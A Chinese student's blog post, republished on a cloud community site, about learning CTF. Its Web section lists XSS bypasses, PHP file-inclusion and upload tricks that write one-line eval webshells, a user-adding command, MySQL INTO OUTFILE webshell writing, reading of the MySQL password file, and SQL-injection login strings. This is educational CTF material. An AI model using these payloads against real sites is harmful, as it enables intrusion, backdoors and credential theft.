首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >从零开始的CTF学习过程

从零开始的CTF学习过程

作者头像
安恒网络空间安全讲武堂
发布于 2018-08-17 09:47:44
发布于 2018-08-17 09:47:44
1.5K0
举报

在上大学之前,我是从来没有学习过任何编程知识的。不过我喜欢计算机,甚是喜欢这折腾的过程,从刚开始的学习使用、玩游戏、找外挂辅助,到后来的维修计算机。

上大学后,最先接触的编程语言是C。我自认为我学的是信息安全专业,只懂一门语言肯定是不够的。于是乎,我开始自学python及web前端和后端。不过在勉强入门后,有些迷茫,不知道怎么入门信息安全,感觉网上的教程都只是教人如何敲代码的而已。

不过我很幸运,遇到了一位老师,给我们提供了学习CTF(在此之前我完全不了解CTF)的入门资源及机会,让我初步入门CTF。此后,我们学校的学生组成了一个CTF队伍,在网上拼命地打比赛。虽然我们的战绩不太理想,但我们的排名也一次比一次高,我们偶尔也会尝到做出题的喜悦(平时基本是做不出题的),这是一个从零到一的过程。甚至,还曾参加过CTF线下赛。同时,我们也积累了很多CTF“作案”工具。

我对CTF中的Web和Cryptology较为感兴趣。就Cryptology而言, RSA密码是我最为感兴趣的,我甚至尝试过把质数都提前生成下来,中间还曾多次因为代码质量过低导致系统崩溃。虽然后来代码质量问题解决了,不过在生成了几十G的质数表后我就没继续了,毕竟效率太低了且时间成本太高了。

CTF心得

一、Web

  1. XSS 1. body标签绕过:<body onload=alert(1)> 2. 双写绕过:<sc<script>ript>alert(1)</script> 3. 大小写绕过:<ScRipt>alert(1)</script> 4. img标签绕过:<img src=xonError=alert(1)>
  2. web安全文件包含漏洞 获取源码:http://xxx.com /index.php?file=php://filter/read=convert.base64-encode/resource=index.php 写后门:http://xxx.com/index.php?file=php://input <?fputs(fopen("shell.php","w"),"<?php eval($_post['xxx'];?>")?>
  3. web安全文件上传漏洞 copy 普通图片.png/b+一句话木马.php 1.php 一句话木马: 1.<?php eval($_POST[a]);?> 2.<?php @eval(@$_REQUEST['a']);?>
  4. web安全命令执行漏洞 net user test 123456 /add echo ^<?php eval($_POST[a]);?^> > a.php
  5. 数据库 查看当前数据库用户的权限 show GRANTS for CURRENT_USER(); 写入一句话木马文件 select '<?php @eval(&_POST[a]);?>' INTO OUTFILE '/var/www/html/errors.php'; 查看当前数据库存放路径 SELECT @@datadir; 把user.MYD文件中的数据库用户的密码信息导入到一张表中 load data infile "/var/lib/mysql/mysql/user.MYD" into TABLE test.q fields terminated by ' ' LINES TERMINATED BY '\0'
  6. SQL万能密码
  7. 1. "or"a"="a 2. '.).or.('.a.'='.a 3. or 1=1-- 4. 'or 1=1-- 5. a'or' 1=1-- 6. "or 1=1-- 7. 'or.'a.'='a 8. "or"="a'='a 9. 'or"=' 10. 'or'='or'
  8. SQL利用语句与函数解释 1. 1' 2. 1'or 1=1 order by 1 # 3. 1'or 1=2 union select 1,user from mysql.user

二、Cryptology

  1. 古典密码 百度、谷歌下基本都可以解决。
  2. 哈希密码 哈希拓展攻击、哈希碰撞……
  3. RSA 维纳、爆破、yafu……
  4. 其他 遇到新的不懂的,就百度、谷歌看看有没有类似的加密方式,触类旁通。

三、MISC

这个太杂了,反而不知道写什么好。当你拿到一个文件时,binwalk下,看看是不是单纯的一个文件。然后感觉该怎么办就怎么办……

四、RE,PWN

有文件时就本地调试或反编译,看有没有溢出、释放后引用、double free等漏洞。然后就开始尝试写poc吧。

另外,在极少数情况下,这些题还能够使用类似CE这种修改内存的工具解决。

最后,附上学习CTF的笔记链接:http://note.youdao.com/noteshare?id=72df985b71559a1103fc8558620d8488

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-08-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
node.js 安装与 npm 加速
本文记录 node.js 安装过程。 Linux 安装 官网链接:https://nodejs.org/zh-cn/ 方法1 下载代码包: 下载后解压,将文件夹/bin目录添加到系统路径即可使用npm命令管理node.js包 方法2 下载二进制文件包 命令行可以: wget https://nodejs.org/dist/v16.14.2/node-v16.14.2-linux-x64.tar.xz 下载后解压并移动至系统目录: # 解压缩 tar -xf node-v16.14.2-lin
为为为什么
2022/08/06
2.8K0
node.js 安装与 npm 加速
Typora+PicGo+Gitee或github实现markdown自带图床效果
这里可以选择gitee,gitee由于众所周知的原因有时候会很慢,无奈选择gitee
星哥玩云
2022/05/28
6280
Typora+PicGo+Gitee或github实现markdown自带图床效果
你要是还学不会,请提刀来见 Typora+PicGo+Gitee + node.js 打造个人高效稳定优雅图床
经过前面两弹的介绍,相信大家对图床都不陌生了吧,但是小魔童觉得这样做法还是不方便,使用 github的仓库来存放图片,如果不能上外网的话是不能展示图片的,自己可以上外网还不行,需要别人上外网才可以看到我文章中的图片,这也太难了。。。
阿兵云原生
2022/09/13
5820
ES | Linux下基于ElasticSearch的head插件安装
wget https://nodejs.org/dist/v10.15.2/node-v10.15.2-linux-x64.tar.xz
码神联盟
2019/07/31
4.9K0
ES | Linux下基于ElasticSearch的head插件安装
hexo博客的安装
10.查看当前目录已安装插件:npm list PS:NPM安装插件过程:从http://registry.npmjs.org 下载对应的插件包(该网站服务器位于国外,所以经常下载缓慢或出现异常),解决办法往下看↓↓↓↓↓↓。 CNPM介绍: 1.说明:因为谷歌安装插件是从国外服务器下载,受网络影响大,可能出现异常,如果谷歌的服务器在中国就好了,所以我们乐于分享的淘宝团队干了这事来自官网:“这是一个完整npmjs.org镜像,你可以用此代替官方版本(只读),同步频率目前为10分钟一次以保证尽量与官方服务同步“。 2.官方网址:http://npm.taobao.org 安装:命令提示符执行npm install cnpm -g 3. --registry=https://registry.npm.taobao.org 4.注意:安装完后最好查看其版本cnpm -v或关闭命令提示符重新打开,安装完直接使用有可能会出现错误 注:CNPM跟NPM用法完全一致,只是在执行命令时将谷歌改为CNPM。
兮动人
2021/06/11
4500
hexo博客的安装
如何免费高效拥有自己的图床呢
私人令牌:https://gitee.com/profile/personal_access_tokens/new
青梅煮码
2023/03/13
8690
如何免费高效拥有自己的图床呢
PicGo:搭建图床
传送门:https://github.com/Molunerfinn/PicGo/releases
张小驰出没
2021/04/15
1.6K0
PicGo:搭建图床
搭建自己的图床
在大佬的指导下,开始学习了一些MarkDown语法、然后用自己的服务器搭建了一个私人博客(后来觉得麻烦就给停掉了,现在写文章主要是在CSDN跟微信公众号),尝试写了几篇文章后,经常会思考的一个问题是“文章中的这些图片咋搞啊?”,因为MarkDown语法中的图片包含一个公网可以访问的URL,我所以我要想办法把我本地的图片转换成公网可以访问的URL。 我最初的想法是用自己的服务器搭一个Nginx做静态资源转发,后来想了想感觉不太妥,因为这样一来当我服务器过期后,我之前上传的图片就丢失了,那么历史文章中的图片也就全部木得了。。。无奈之下去寻求了一下大佬的意见,大佬给我指了一条明路—>搭建图床。
敲得码黛
2021/02/22
8.7K0
搭建自己的图床
windows下安装ElasticSearch的Head插件
转载自https://www.cnblogs.com/hts-technology/p/8477258.html
allsmallpig
2021/02/25
6030
【ES三周年】linux-centos7安装elasticsearch-head插件
①从官网https://nodejs.org/en/download下载 node-v8.11.3-linux-x64.tar.xz
张同学tty
2023/04/03
1.7K0
【ES三周年】linux-centos7安装elasticsearch-head插件
【进阶系列】Node.js专题
http://www.cnblogs.com/shanyou/archive/2012/08/03/2620796.html
江中散人_Jun
2023/10/16
3810
【进阶系列】Node.js专题
Node.js安装教程
这篇摘要介绍了Node.js的安装教程。首先,文中简要概述了Node.js的定义和用途,突出了其在构建高性能网络应用方面的优势。接着,详细说明了在不同操作系统上安装Node.js的步骤,包括在Windows、Mac和Linux系统上的具体操作指南。文中强调了正确选择版本和使用包管理工具的重要性,以确保安装过程的顺利进行。最后,提供了简单的测试步骤,验证Node.js是否成功安装。这篇摘要为初学者提供了清晰而全面的Node.js安装指南。
Damon小智
2024/02/03
1.3K0
Node.js安装教程
【elasticsearch系列】安装elasticsearch-head插件
安装elasticsearch-head插件,需要依赖nodeJs环境,故首先我们先搭建nodeJs环境; 此part先将此篇文章需要的各个官网列出来: node官网:https://nodejs.org/en/download/ node中文网:http://nodejs.cn/download/current/ elasticsearch-head GitHub:https://github.com/mobz/elasticsearch-head
沁溪源
2021/09/09
1.7K0
【elasticsearch系列】安装elasticsearch-head插件
Gitee + PicGo 免费个人图床搭建!
平时我们写博客或者 markdown 时候会用到图片,markdown 文件一旦脱离本地观看,里面的图片便很难维护显示,这时候就需要用到图床,给图片使用网络地址。
微客鸟窝
2021/12/02
1.6K0
Gitee + PicGo 免费个人图床搭建!
【Elasticsearch全文搜索引擎实战】之Head插件实践 简介1. ES 5.0+ 版本Head插件安装2. 配置3. 启动4. 访问5. 安全问题(严重)6. 小结
Elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。它可以快速地储存、搜索和分析海量数据。维基百科、Stack Overflow、Github也都采用它做的搜索。 更多Elasticsearch的相关知识,请阅读官网《Elasticsearch: 权威指南》。
mantou
2019/02/13
1.1K0
【Elasticsearch全文搜索引擎实战】之Head插件实践
		简介1. ES 5.0+ 版本Head插件安装2. 配置3. 启动4. 访问5. 安全问题(严重)6. 小结
CentOS 7 安装Node
因为下载来的文件是.xz方式压缩的,不能直接使用linux命令tar解压,我们先使用xz命令解压
游魂
2018/09/18
3.5K2
CentOS 7 安装Node
蛋疼的ElasticSearch(二)之配置ElasticSearch Head插件
Interesting things What did you do today 先入为主 ElasticSearch Head是什么? ElasticSearch Head是集群管理、数据可视化、
用户2032165
2018/06/06
1.8K0
安装npm及cnpm(Windows)
1.前往node.js官网下载并安装工具,这里安装路径选到D盘,D:\Program Files\nodejs
kirin
2020/06/22
3.3K0
安装npm及cnpm(Windows)
一文读懂JSON数据可视化
JSON Crack数据可视化工具 SON Crack 是一个很方便的 JSON 数据可视化工具。 该项目不是简单的展示 JSON 数据,而是将其转化为类似思维导图的形式,支持放大/缩小、展开/收缩、搜索节点、导出图片等操作。对于经常和json格式的数据打交道的人会非常有帮助。 “忘了那烦人的引号、大括号和冒号吧”​
QGS
2023/12/12
6670
[还不会搭建博客吗?]centos7系统部署hexo博客新手入门-进阶,看这一篇就够了
前者适合新手,后者适合老手(方便大家查找,从而过滤掉某些步骤,节约时间成本) 所以大家按需查看哟。
秋意零
2022/04/16
1.2K0
[还不会搭建博客吗?]centos7系统部署hexo博客新手入门-进阶,看这一篇就够了
推荐阅读
相关推荐
node.js 安装与 npm 加速
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档